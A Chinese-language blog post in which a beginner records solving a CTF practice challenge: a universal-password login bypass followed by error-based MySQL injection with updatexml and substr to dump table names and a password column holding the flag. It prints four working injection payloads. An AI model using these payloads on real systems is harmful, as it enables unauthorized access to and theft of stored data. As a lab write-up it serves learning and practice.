一直想找 CTF 靶场练练手 (技术),今天在终于在网上找到一个靶场,在此将自己的过程记录下来,以便自己之后遇到类似问题时有地方找寻答案。
第一次写文章,大佬勿喷!!!
1. 进入靶场后,直接一个登录框,哎,有点意思,可能会有注入,但没有账号密码,先弱口令试试。
2. 直接 admin 上去,提示了红色显眼的大字,错误的用户名、密码,此时又想到能不能万能密码进去?
3. 哎?进去了?还真 TMD 巧。
4. 既然都进来了,总的试试能不能注入吧,一波操作后判断出有 3 个字段,但是不能用 union 联合查询,因为并没有出现显示位。
5. 看来只能找其他方法了,于是又想到了用 updatexml 报错查询。先查数据库,然后查表、查列、查数据。
这里之所以不查 geekuser 表是因为最开始已经获得了密码,这个表很明显存储的是账号密码。
由于此处的数据不能全部显示出来,所以只能采用 substr 来进行分割,一部分一部分取出。
updatexml 用的 payload:
admin’ and updatexml(1,concat(0x7e,(select database()),0x7e),1)%23 |
admin’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=’geek’),0x7e),1)%23 |
admin’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=’geek’),0x7e),1)%23 |
admin’ and updatexml(1,concat(0x7e,substr((select group_concat(password) from geek.l0ve1ysq1),32,64),0x7e),1)%23 |
终于从 224 开始时出现了 flag 字样,救星啊!!!
为了防止字符丢失,从 250 处从新开始截取。
以免丢失,多截取一点进行比对
最终获得 flag
整体过程相对来说比较顺利,遇到的问题经过查询笔记已解决,在此留念~~~
菜鸡一枚,第一次分享; 大佬勿喷,感谢相遇~~~~~~~
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
请登录后发表评论
注册